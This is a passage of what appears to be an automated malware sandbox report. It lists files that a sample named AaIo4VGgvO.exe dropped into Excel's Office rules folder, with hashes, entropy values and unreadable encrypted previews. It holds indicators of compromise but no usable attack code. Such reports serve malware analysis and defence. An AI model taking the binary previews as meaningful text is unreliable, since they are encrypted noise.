Preview:	<?xml....?1(...Y.....ad.......5......n..x.i....:..].$..E..H\|.W..k. ...o.3...j..B..._.s..{#.....6....f).m%H..v...-.O.Ap..>k......%~....u@..S..[Mc.i.].9y...0.......'..K.RW.r...V.....q\|..7..........Z.`..`.Y......;(OT.7.b.[.3t5.[1I5.tq..g._A.}.DN.[).+#xeHj.`...........%..57....ci..q...su.yT.>.....F8....B.]....B.......Iq.\~"4.\|.0X.....%,...W..c....'`..{....%.+7......k...I.\|.....o...,.KC.LfaW..Wqr..%....G...\|lG..7s@x.V...# (.:...<.ZI...a.........."..b6..&7.N...9..l=..B..Yt......ukN....Q..c_S...W...v.f~};.u{"w..._.8G..X.Q".&.F4....(....&.\|.M..`J.Cw.. .l....@.g..w.l.I...r+...[../..<.`......"/]F.o........p:'...E.....U.. ....d..{...H.9...z..w.7[l..1..P......Y:.i......w.@nY..<..9...3.f&.(q.......G........v.;gep).r.=...,.7..p..!...u.dq.Q....{...s....t.gs...l.A._7+.....Q.>.........\|8..V..'....".@O..c%..O.../.}.o........w...OOI/.]SSr>O.gZS..q.~.{.....".0.]s....1.V..h.x.....C<..QU:.Q..@..A...5.e}7.......e.8..(.DN.'...>...a..!~....S........Ua..8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.8651811462823105
Encrypted:	false
SSDEEP:	24:8cx4C7xB7P1t7yZTx5R/YD9xE32naW9MTReEFqh3W3FW2MUxdB/WUvzZS4WSkTnz:8cx4y9JyZTxrAD9xv9MTVFom3FDMUxXa
MD5:	802EE89EE0E743CBEB85D9BF1EEDC65E
SHA1:	D87F6850174DC620409EF82F0AD7369E0DE84608
SHA-256:	865ACF6A34C9D6719D66F0E30D052F613ABC1DE9E5CE8FC2ABC7F02E9A8DAFF1
SHA-512:	15FFDD8BA3CDD1C66A935DF8FFC3F2C66D4B5045B1E550C1BFF0E58F6439C2CCBF6A579002B01C75A5491B1838DC53192B7C347FF112EFE6BA9EB5B625767099
Malicious:	false
Preview:	<?xmlN.J.....%u.7....].3..N..4;.........n.CM#.w......b...T.&.x....7M......f....l..P".',H...............!.>${.8..J....m.g...\..A...srV.P....,....H.[S..ZA).....+.o.........v...]\|.H.v.Z.>X...6..2.#),"/...N....3.~(WY.a.I.a._>.....Zg...... 3)...r....../..y.O2.h.\|PA.S......Db..^.....L.y]..^...y.Y.....m.u...+FH/..e....u...h..1)\|.mc.R... .7.`....z.9....\.D.C.v...V.0!.....D...}fP`..8b#.l:.:aE.u..s.%.....g.................!..........j..#.=}.x.+..5$...ZY..Y.e......V}..uR$..c...ku+l...P.oxlX..C./...#..z1O...p....&.....v.i......pUr...G:...'.Un..E....na`...E..Rn...rt.....y..?j....5u.$...cW.:Z..B...B...Q.9.$}Z..............T..E...s.u=rX.wE:Q..m.$.t#X.p.$..7.."......v......*....k2.k..\.vb..r.=..#~...............S.z...N.M5.I.\...d..>..8L#....o.C....=4.....<...8a0PEj........VWP.i...(..}../...Y.uJ}.u:.[.M...W.wQVr...<.KDW.j....:.c...}M:$.^..V.......+7....~..J.U(.v..l..)..t&.e..;.t..#]+......QB.?...6..0..P.g...;@2.k..&.Yq...R..y..R.._..j>.ru..&.d.1.e......Z].}!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.763684807353632
Encrypted:	false
SSDEEP:	24:DhxjjNBDraNE8RWB/ajTZf+Wq7QHOIIaHOc1Vvjv7Xm/tcnLmTybD:lGnMB0TC7QHpOcn/XmFcnLmUD
MD5:	3E139E8CB2D0143ED1C404145B116A00
SHA1:	592D1A29ADC8A3148A255F5D6F6CD4754B268DE2
SHA-256:	1E75A97DB02AA515B20E836C699729E1EACFAD68559A9D39AE08AA1D241EE107
SHA-512:	E39939FFA39235C7C511A1E062D0DA2B8BE23613C373F7C3D8E8232AF234C50E32DD9E93FA48E76AAC49A38110F65F13F997D106A2F47C5C027A9DEAB9570776
Malicious:	false
Preview:	<?xml..N.J.-e...%;.k`.C.....L.FF..n.}......._~.b<....%B m........../..q<U$t.:..y7n.=M.4..jy..~!.......E..<>.0.C?.KA..8Z/L..."..b%.[..A.z$.?.RX../.{<.q..c..Q...\|c"...O-...0...-.\.....{....)f4.E....J_.....bQ....=..4. e.LE8..n.....c.v{..`....A.....,6..KA...0...6N....C.!.$...y...c]t.l.....u..\Q...jY..$ .h......[..,...j....gC....A...2...{..3..5B...e...K.R.$?.c...Vt4.._D2..GF....h..>.....Q..'..N...$..F<....#...././Q...X.HJX...e2:#J.......a..N. ......B.l.....T....n.iD...+...} ].;.....<D...._B........A.E...b;...U.6'+.q.s.4,KH..>..X.......W....n`....3..A..k.....^.....S.w.it.j....2G.{..[.).....;..\.......i....1.......V.e.]..4..k..&4iZY.FC.U.^.-S....x..X.-q.....K.....[nnC...B..u.60..S.k.....D6..'.&.c..O..p.g..1.t>.4.L.(..a.....e\.Ef...eI.o$...x...<.\|......B.+..B.;{>...E3.Kz..<......\|.KmB..r..cm./E. ..80Zu......._...I34s).......mI....t;f..dN&?sb#.is...Zn.q.e,.s...M,.A........E..N.>Lc.p...].Y.g.x..V A.U6<.5...&..jSLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.8228181233240885
Encrypted:	false
SSDEEP:	24:9f4lph49YSs/urzPUDEaOAYXANgd5gvRIhxDlJQo7H9ojbD:9f4lphRSsGvPUgakANgd5gvRIhx5JP2D
MD5:	09478E137A6E4C0984EFCFA189A08798
SHA1:	C39B9EB139207D117F828CFA1446F65B240BD53F
SHA-256:	29D34BF15FECE9636F5B077F53D3DD958D7DB5C28DE64B40846A1667B885188C
SHA-512:	B1918ABCD1FDC01FD37CD2494593A7269F66D49DF0BB52AC4AF7ABA86FBED5BF1ACC542B53B61EBD09382DF7C159EE1A5BA157CB67D04B9F9C562D36F1DA7BE3
Malicious:	false
Preview:	<?xml..;..?..i:.@...2.......u.. ?.L.......nCL.wh.v.F.&.9M.2.O41#7X.z......joDI^..a..#....j.ue..p....>...:....P......nI..wb..\|.....o.&..;P.....J?......`.X.~9.pM.&Z....o.X.Y1>NXAO>...5B....X..../..(p3..$..UQ(.........`.k......... O...y......K..{.............C..PU1..1p..@U.cv..4..F~.b$.O.g.M..Q..8......^....`)!ju..s...E4..~..2.Z.o..^.).f..q..^....D.1.>.....S..................u.[.$.....G...r....x....\|aU...-.........S.D.....[.Py.>.s.Q.Eqt;..vhf..A..q..{..\2\..~.....h.L...H...aII+.....l{b....UZh..W.A..lg.M.p..C......j.`r`.h....qP.$6..N./.B.......O.S..`.Y.O...I.2.<8.&...=..4E7..ev.\|..Y.A...Xc..6.R.W.".zV...k.QM(.~mG]x.\|[...\.md..8Z:...=...1..U.nB..<()........&.\|.t...cd........w.5..A2Y...v..c./:{.$....;.!I..B.6.s....L.....vD..T.km....]..4d.12...."...@G.....=.%.3..Uz.Y._.l..........%?.!C!15._4.'.q.%p.L....yC.h.^..%..(3f....%8tl%^'.`@f..(;.K..g=Pe#...a..N.Vw.....6.a...;...D...k@.E.....P.}.H.v..{..s.x....@Co.:../....I.g..Gl...u2.I..z..g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.983633895814658
Encrypted:	false
SSDEEP:	192:6AhzZnnJkeQcBn/l5ewu53ShPiOCZLRQLhvEq/yy8hdDq:plmmnI53sipUvNa/Dq
MD5:	2B1876CB7F54C178E80AC77455036792
SHA1:	D0A8BDA2020F377A9438934294416E79C30F5C5B
SHA-256:	8CCBF46A6AD4C93B172F6B01796B3192049F7A24D4B0F3AEEFE33F16EA828BBD
SHA-512:	9573B3F28005E909BE0ED7BE585041E6AB2CE56424C2A42D3B4211EA7EAE66ECB5C4CA71CCF94A6B580CF7C0C4C0EB3BF862024E378786FB262A7014A7791A11
Malicious:	false
Preview:	<?xml...:/).O.....~.R.-.L....).m..Q}E.F....T6...,/.....wc.b.J.8...l....D.+E.b.\>d.N.p.2....v.M:.Q...X......:...J.\."t....0G.z..C..Y.....@.?y.....n..-.....V0.;;2rf.X..p.8...d..w.p.x.X......7.:8........2g..A..^.N...!Aq.V.....m.f(.T...WG../Xh..AQC...Q..LM.0..HI....\|S!.!.).#E^......._.]......?.;r..t....j...K.6f..C...8...d.....W.......{\|TL..Sv,..v"G..<....2.....CV...&v6......>.g......W.q.t..HT...Pu..8.....,;...K..............n.66:..y....R8............QHYd_...z..!.g.M..s-...k....G...Q%...:.N.>1..i..)c.L.]..YnC.z.S.......\|A..X7]6...5...xR6..s.Ue...g0...e......0. ..n,....6...&...."}~.L....P..^..D..L7.....Y....9...z..US..E+o..f.A..]GAP}Am... ...97.I..O.....!..3jk..0....'[.9...L\|.:.1u.U...E....../=4-..g.\?........4...VVt..c......W......Wz..L}.3.!!.X.,.S...y#.=8...Y^......d?...b..Y=.$9..s\|.X%...3...m.F.Q....p..{..M..Z+1..%^...n..}..]....0>.....f...a.....Px..1...%..=.......g....H..Q&p.].5..."..y..Z....d.s.T..AD..s.T..#.........Y..c..R..T=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.918989720401062
Encrypted:	false
SSDEEP:	48:cr+ulfQW9VpGNTB7c4fhnj77xZaFvdJMrFbP7/ssBciVKXJscEdN1laCpD:crnfZzpGtjHqFvoxbj9R4scEdDcs
MD5:	31250156FCC90F1EF3BC747331D73068
SHA1:	4BF7B784ED3410E7562609D8D56E9A4117D55191
SHA-256:	4AE7F9F8A37D9F520CDFCCAD05881EDDAA6EA5D1A7E151E95324F847B2384EA7
SHA-512:	402130732D659E95024B65C1CEA28311E9C0A9CE0429CAB52DE90AE5C58E35BB9D84B776B8B86735CDBC1AA5DD5A6251475D8BCC04230A197D052E9C79C4E84B
Malicious:	false
Preview:	<?xml.`.t~8.n....?..7f..~.....2i......O..x.kuk...Wk~3....7`............T....m..@_Gb.......e.+....a.>9...R..c.'m6...j<\:..m......(x?f.&.@`.cx..P..aDG.L.../...p.A.e....,.13..w...-..."{U[F.C..0...s.f."H.:N..L.._D..li.g........Z.\.X......f...V$...b..,......?V-/.$H....(Ec.w..f.....?.%....q..!.-.. ...@.1.."...E..x...1.....M....fN...V+s%.K..F..5s)....w.gz,.+.....dz[..,.k#>63......k....\_.B..t.......8..k..E<.........y~...v._t....Z\|...Z..q..g[.V..Is..L..s3...AL.......5.h...:..W..\|%8u.!.;..p.....?..Ra.k.O}f..+...8..(...f....7.Z.+..p3.~..%.]E....^...).....T.8....L.........(9Lr7I..j.E.P.MV.....\.o.,W#..h...cL.m+....HRI\|.'}.Z.. k......o.....F.s.8..k7....Pr..zN.WT..M..Hc....Z.h....2...K.z...I.Fv......\|.M.J...VCt...6Z...\.!........Ux%3.. ]AU.!a.P...2..-.M....!Z&.X9......V%....0\h...-..H.@.#.<....H.6....(.N8.Iz+....<]....>..=..%..k.^$....]..~.K..ey..7E@./.....G...'.c..q...?:..V.J.].R.g.......Y...A...QB...]hf...]...h...]..h....*...k.5...X,O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.926254463229582
Encrypted:	false
SSDEEP:	48:rb3pbM1hIm4XaZLB5VbvHhicjWLoQEHiygEIKh3QmvKUMf8W/IinD:P3N6bfFXy8YH0pQmnMx/V
MD5:	19DCF414E0EF8FD5BA1E8B6455BCAC1C
SHA1:	D944061B8DB1BECC83C08DFFE5ED7D1E336CF111
SHA-256:	F865D09C51B73905F9C6699EEC6907B6ED2DD3A77A1A249080FDAB9EE9D16065
SHA-512:	7F2E7668046F9D02961AECBF7CDAF5B003C773647F31B7F4C16C54B40ED5791118E0AF527105D747F015C7CC92BD91C5E1404216744788341CFF6AA84B57DF51
Malicious:	false
Preview:	<?xml...\|.9...:.A.<...$.$..,..r0\.....?..7Y!..F.nW2jp..D~....aI.+.W9g.t...y.r.....K..^.8q:L;Z.78...cJ7....~.5..Eo..!xS....w....\."...C..I!..:...g.E.X.y..'.\|........<A\|...}..]C.'..!'.\|.1...(.e.:...j.TH..OG......?.y%@.oF....T.@a.$)u..l.b)S.q,..EM.J....0_Q...01....U..+N.".^%...)a.`..>C..(...c..;.kJ.Y..(.w@.."..P.k..P8.M.,.iNxu>...y....._X..b..o./..EA.(.?.>2~.;.z.qQ....@s>.cr...o...#........EX..P L....a&y.....0..6.r.2=j.I.^/B..P.Uw..A.......3....U...o#T's.\|.5+..<.da#I,..:2NW"&...!.....#~...............f.N^._<^...).....<.8.........o.7...}......=.o..7&5..U....o.-W.....($jD.T.P.. .0>w^..........H9.w...VB..Bd.s....s.[y[&.)..Lq.qaV....]..B..=........{,0\=.<.....2.8jI..O?..)...If.#...4R..^..y...-N.3.-...&.%..n..._/).S.S.8dp.tiS..R.r5.W.?.e.......>...n?.,.!.K<Zd=.....c..a`.>Q.....)=/..W.&...b.>.<..^.............@[.J...bSK..?b..........E9..J...~.=..Ko....R..`..1(...e9..eK.v..P/.!..k{D<.....`...._.F.JC...b..h_...S.-..l.....].o3.)Lr.t...2.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.798521545467476
Encrypted:	false
SSDEEP:	24:4RG6x8cw9ZrfjiBdOes36VYen0mxn4s7XfHSBHpSTbD:N6/wHfmLOjIYe0mN6ID
MD5:	D860E3412EC722CB7CA512FA79706BB2
SHA1:	6BD5BAE7BBD585E8DE16A32AEF0F20869671EC28
SHA-256:	6356094876387E7AD3B1332C0AE74497823FC9F94474A596F26A8C5552397D25
SHA-512:	D8458688F70D6139927FA49F1D13A7E4FEA6F4FE1C4CD1A432419334D5983C36DC7981742C207065B5525AB8BBD80478C89DEA9CACF8C231888ED645A7113813
Malicious:	false
Preview:	<?xmlT\.>........F....SQz%..^...l.J"c....}.=.Tlp........]........q...b.....X.%......]....[....W.......4=..f....DQ../.R.2Jq.$..x._.[........Q....R....D...FR....z..wL9.lS[u:.f....:..-.=[MF3~!3F.v..x..?.2.V.....!^9...0...o.!........B(wD...()..33.....sq.7.F..u...[....;.......O.e@..7.1Jy5.p...;..!.,.v..@d..r..'.q"....C7.qI7...X.yi.\|..B.6..(...T.N.0S.C...u....M<.G.y....?....{.4(..1a.......k0......TWY..H.....~..H9.x.\|.8.....+WA....96._..i/.y+.4...Q..]...Qi;..$A'..7.J.H..\|..R...W.\|..G..>.=+.'..Y.>..I5.D.N8.....G\H... .q..0..8..}.PS.."...g....a..H.5..zM.t..R$..E./.._..3.'..(.y#.-.M._f.p].Jc...he.K.C..-...R.x.+.VEE.V....7.V.d...<Hm.d*.....5...N.c..b...,XLiD.v1..x.-..$.;p.>...._O?=...o...{.J.F...\T....Ubl.Jo38...k.b.-..)&n.Y......J>..r..O...6....N_......#......7j7...H./k'.....?.$..Su..........g.../..my..\...6..X.3.;.E.5...@.....$..GV 4#.}.2./...\@......a.J.,....F.b...x.............7C....'....@@../s?.A...p.c..\|.gXQer....P.u0...[.8.}..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.727662744456999
Encrypted:	false
SSDEEP:	12:tZUx22Nzqn2AR2ZHB7rflbbtFMo9TTMDyU3TsF2a1Nl9voLvf1+cii9a:LUxFzi6ntbtrJQyU3gj1AsbD
MD5:	E834FEC25AF4B4B18BC443B4C8DBAE38
SHA1:	AC34EFFAB85C021BD35E8EF9DC26F8EF6F316D82
SHA-256:	18C82154B85596ACC051B941B9E110BD9D6FC75607C2CE1240BACBD19A8A62CB
SHA-512:	E43AB5F14EC0CE68F636792DF0815A2736AF84DB79E16220A9C176C45D8AFE914B44CEC908D8570A843DAC1E9140A93F3272D5F3F6516A5BAB93E72BF5375871
Malicious:	false
Preview:	<?xml.WP...D....(...#\|2..[+@3.{...U...; ..L[..@._l..2.H../..b..n...9ni..f3!W=...9:..%s-...c...f.........]..qI. .SRXT..o...y..0.c$d.)H.mN..x..s.c.Q....c...../c.I....Z.l...N.^:.ha..oF.&........7.....<%..'.8..$..e....!..t......4..H..'Xu.......o.k..X.........I_.`P.g....~....-r...C..shy.."..z.....}.{..>.t_v..G...[A.-..{;N..9.[.';....nTg,.YT.3y...a..jZI.9....(.E.s..l...........\.^.G.#......I...[.$..NP..8..;.Y.a..=uD{.A.<.v.....<....Dt..x.c.h.E\|..t'..s.s.a.....^c...Je@.~._V.68.$.\|"..36..W.p..X.e..b.....7u^VEt..`/.i .#S..s-..bt).....;21..N.ze.$._7U.c(g....6..g......y%...g...J.ao.p.t..../...D...cD.S.........N..<...y.....5?.d.x......&.\|...x........CV..G.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.777480643065073
Encrypted:	false
SSDEEP:	24:CKHgC/2VKthRg0VKYCatBnoNM4GqvTjbD:HACuIrVVCaDnPcT3D
MD5:	EE53E80A3CC4F7DC0A358C92945ACEED
SHA1:	89859EE2B34714CFD404E2D9CDD4D66D48DA9AA0
SHA-256:	B4B9973B7B5161C91A8DB30B0EEE3E0DA9DB2FCFBC71237F6D7D83582CDE3212
SHA-512:	9E18AD3593788447FE147D3BA0DEA13178F6B5527E9C7599DE08B84849B04347C6049BFEB2364A28D1E2683EB002600F35AFF16AAF533B32AA7EBBCFE5D015F4
Malicious:	false
Preview:	<?xml.;........]iF.y.Wi.2'.......t.u.p..m...6e4...1.*B.<.RB7.#.".7.{...s........B...=.G....&.A."n...[..C...L..].w....[..v<.Nv}d.%m..]..2.i.Q......'.[.y.W@..ac......I...f8s.$....."..A............Q...H!.e.F...w-......~.T..:..2K..0.,"."89.2r....c..r.c..sJz`..B.F...........I.$.q..a" Q... ).E2D.O..>.5i....5._....f....0...bR.O..y..Q....../..S..v..@y.xz.....E..s4on.....fv.UO..;. )D.W.......?@...}..#.<,....w.)..$n..@..2.E....;.k=..../..@.dX....+...g.6^;....M....)]....=.WK.3...-.W................<.t.".H..i.....H...{.+..iW..^.F,............R"`...^&.R.....<..h...@.:....12fK....c...8.'...!H.~U8Y..VO..:...\..4..P....D...s.+..G&..............:tv..Z.g.-..}..(tXn.Q......a...Q...oF......5..F.j..?LEx..<.+...a...........^..J'dE..T.p....K.....,n.5{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.90701621720345
Encrypted:	false
SSDEEP:	48:T9onikQvdKBWzJRj5/b6dYzBXKGPIrp/K6xGwPnJ+Cf6JWuUt7ND:5onikQ4KJ95yYz3Pd6xzxf6JWuUr
MD5:	9F9C7A576C5761B48FAE1D9C32C6F3E1
SHA1:	D005ECB289418473DF52A7400F64C1CFEB9780AD
SHA-256:	5CFEC558D66D27E43651426A717383B92B1283D8C3B116DF11AA5C8897EC93A4
SHA-512:	A421588E9CA5D46EF366A95A1D7261B48AFED16B72B5213D13DCF5BA55EC82911312DCC5FAA4D4F71BCF45A0427FCE1F6BDB711FCADC328D9F2F0CFE6B575174
Malicious:	false
Preview:	<?xml.....g..\|..~.!..I............}.g].^0m.nQ.....U.7..`.{..^WD,K.!.Y.TL...\..M.P.............R..%..`.1]9....$nv...Kw.D3.9..B.....6pg..V...."..N...{.....9..+{y.`\........o}1..I...)E....J/..........7.GA&.BB.'.w..f..T0.gU...?..H..@....0.g..PY.J6.g..v.P.7.....!...Kj.z1Y..!..6,..[=.Z.r~k....+.Q....:a,y.....\.N..W....\|...Kw.<.....]...`..2..>UJ.$R.y..>....LM.......t.g...o.zT........1..).Vr..lUF1fwi.1Y5!.P........p.n.._....r.)..:.Xq..0.&....8.M......%..3}%.....)..s..;.S..>a.....\.....\,.-..w....h...&.4.A..l.p.05..........<..0 I^.[...C.../'C<oN\.....P.WW.....K..H=.^...C...I..<...`..l}...X.Vw.\|...'._t.h..............N8L..2<.z..n.j..F.CD.p}C....Y..m.M...x.I3....D.M.s..E6...Q.6N..[.J.r)I.V..\|..o....4..).W8.v..s.,X9=.2....6.Z.>...LeF.v...%......^.rt....(.)W.........M..=.3P&Z............f-9.s3.=........e...g.J.9.).L6...D..+.c.....6.....O...o*.....i.....[..z.<XC.. W.bwtr...vn..X6+.q:..Vk=x.G7..!.k..S..T..Br...&.9C..1....b..0....OV:.......b..._.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.96853298473516
Encrypted:	false
SSDEEP:	96:KpwvNOnhVVZvYiCeIyfp6ycKsx2cxKMYzs8xjFBJEEdJDDgAXp3RWi37XF:iwvEh/mXd26ysfpPKJDDPHR
MD5:	38283F37D7E7E3BC15ACC5291CA7BECC
SHA1:	0CE42D3BA7F4831FC9EC6EBCD25987B5EB174B97
SHA-256:	FA6611D0A0AC14EEF072B6F026BDFC3A25DC976826F74248E9C43F012D620B08
SHA-512:	71F29CA4128D936F4EE32CFBA3483146931C379BC7ECAD751B6B12FC05BFAAB7BB8854EAC861A465F60D19A9674288A63CED91F35784545F3868613822B35D0D
Malicious:	false
Preview:	<?xml.\|..CIT...8.%...$.R..}.FRK-@.J=.zq0.S..$..a..K1.t.%<..#..{J....t...S..!Z.k.6..L.d........2DC.i]..I."..`.7..+..2.7.<.ji.!.K..^"fD(...U5....O.W.x.......Nr..p.}.Ox.I.(.4..T..\|nO...+...\|.o..H.7\|!wu....ir...R.~...O..#.jI..P.N.s2..L.bv...I..5.....T.9..\|.#H..m..t2..(.....n.H.w....\.[%l...i..~.q.^,&..bzZ.a.....90s..Q.U6{)F..lw..(.9.....F.4.......,2xz.L.H&^u8....n.....M.xiZ..2./.r....5ER9...q.}....#..H..F.L....f\.."..8..N...u.h6g....N.bC..7.2..q9C...5y\|...Y_..T..XAj........#......R9../.p7....j..r.]o..O.....{I.i..E4%..n_.D-`..=......X....-j..w..W.f.X.yJ."..../b.......5H...B..HS..o?.g...%..m..O].zWB.=o.I2\|..".P.t.G...}.o<.4....FB..a.J+..2^O.o.....k..f3.].NFu.........R.....Nr..6`"g3s....6...VNn....`g.F.c...M.....M...*...^Z....O].i...k...b(...k$_.HJ......_`....k.....b...8.,A.El.j. ....i..Q..qM.....B&....V8.}..EBz..?\..d._..X..p.Y.%+m.E....5{Ym0G..^.._.r...o\..0...L>Y..hV...B....D.._r.g..J..44.$.hX-.k...0...D...2+N...}.\..)..;..f.-..p....Z$+%..\|{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.850408300878409
Encrypted:	false
SSDEEP:	24:z2NhHTx2C7n+tBiq+N1AOx13b346O7SXTu9mgc7TGZ5zld5NAcUqHNbD:z2jHd26nSwdLoj7SXT0E7TGZp5+8ND
MD5:	C393C39B93A5BC3A080DCC34B969D15C
SHA1:	D68BDF4EFE3EE5285AE1E4EDD6221740A11F71B6
SHA-256:	52BD53CD0A0AC39F604835FFC53D2738F68BC8FA6B8EDA1105EC56C09725297B
SHA-512:	24741D1882D30E95254C42A3505DD131D302F3A453D8CAEDC6F32BCE91545B228DFE65F523E4FCE13A558880C2DDF54E49EA8B684AC2A170CF18DC70BB60C7B0
Malicious:	false
Preview:	<?xml...^l...9.p......).:...$.<../.Q... [N...L.W..w...Hi..].k.aO.....\|U.?.X............i....U.....Q...>..#N.M.6A.R1.....a$.BM........H.5.\|..."._...'k...e'...W...b; 2.B....w..E.b..#.. .L..R..u..0......t......_.X\Z....1..Se..JDU..w..@=..w.%1]u.Q.T.}..C.c......"..&.D+V+.....w..._7.5?;E.irg..[+..N.2....b..(....E...(P.-.zi+}%_..hw3.....\...Z2?j....a..Jts.u...U...$.S..NB.6z..~q........bE.vD)lWG.q......Q\|.....M^.B..J.u..YT3...AR.....XY..V.F.y.&o..<K1......f\[.7...Q=.=4sBR^..t8..EKV....R.3....a.<6.....b" ....P..3....U......l...W....,..x+.E..bmH..e....l.Q>{.x.4L.F.J...!.\........G+...9..h...M..q.....s...a..RB....Up9..ZY.......W..X=\.<T..b...<.#...-.^....i...zw*..... K..,.....!'F.SK.G.3..-/.[U..ZN.....V..B.".Q...}..S....}_B.<\.l.AM.c.i..s.0..h.\|Cw....&.\|.FL.P...Ib..A8{.$....~....;...P3<.U...6..A.....?..J)5.r..Nr.,....F.aF9.....)N...QA............q........c.F....(..).=...u.."..q...l...W...........8.FU...U..../c{M...U.I..A...J^....Y..NrT..F.g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.802821317039574
Encrypted:	false
SSDEEP:	24:2aGrRbWrOtkotKLytCZtb66wOd+pVxNYxrrO5ZNPSbD:2drRbWtos+6wOdSxaCjhAD
MD5:	7F6359FA94371FFF983834FAD57A7CEC
SHA1:	58FE8D3F1248CE9A6F02618149A93149D4F65633
SHA-256:	1F3CC36F6C727F1FE7CE96F88450731AD5BE89D08EE24005CDB703E7CD6B27F9
SHA-512:	23B693CB229A021B05FA1D0FCEBE6FF5ECE05152C0F75EEE72B7A7636ED88B078EE19D869DC33CE00CB4A77FC5FAA2CB202CD232BF6A70E772FC63E9E8DC0B26
Malicious:	false
Preview:	<?xml..e....b^$.O.<.3.9I.E..P...Ow."f.1....y>.........}.....w..S...>F.....i....dB.....n\.p..\.....?.......l..Dz...K.%...z..dz`.J......R.3D.uY..t....A....8t.;3...FI.Y.C.Z...q5...u.?.PZ.A.\|....n-.J].<.z .........z..X$.:....>...D.Q..D...x.`0d..gg.9..;8..%.^.(....l..[.Z..@..Ci.....z...R..l..".X.>...F...-Z.........r..G.H..A...H..-.bS..$H...8e........._......bC....C..?U....t..%k%...6.G#a1...y.a#..S.....:Q^".T.."@Am.$...u....?..A.o....CC..Y.Q....t.t..4.M......~...dC.9x....X....m....\|z....A..j.a$.?.j).v....T.......S.X...13..H..t%8.N]I.{D?.\|k'...2P.3#....N.4.&\._.U%`.I..7.....c7.qc.I..GX....?.dc`.....w.s.p....K....#F.............4H.W.U...U.....^.E.t{L....1K.r..hg..U.......T..v.d._...o.:F.`..^........N._.x.wO..:.Y.!.X. .Z.O.w.SR..<.O. .Wu...[ ....[s.X.^..[bv......V....~..K..Ps\...q'...28mI.r.\}U..[.....f..A...#R.....ns.L.}t...>>^?\\|....]k6...md...DzM)t53..Z.....6.>..M"...2....m...y."h.....L..7;.e..R......Z.qi^...0?.,.Po..$.5WW...P.;\|\k0N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.950326911174602
Encrypted:	false
SSDEEP:	48:R3JPfMaNESEruvPpX0knNE27+dV58ZOXsA43ntwsks3hWUQQAu475mBOD:R3JPfsSfPprnNaeE43twVOAum5P
MD5:	86587A5E1A8727C6E8A4F38B9207FF09
SHA1:	8FC059D1E23401DB33103293FF48BCA7977772D0
SHA-256:	DD1F211D3D4F40B6841291C64D2651C07DD29D75E83EA1F5697B4C32E12DEF54
SHA-512:	89EF60CC32371F47D9E2485286A0AD4D4171C5A9AE815C5D7E533B876358EB1E71927EE503AA3E1365359B115E5D0DC2BEEE7EB7229FF5252E4C7D77568568BE
Malicious:	false
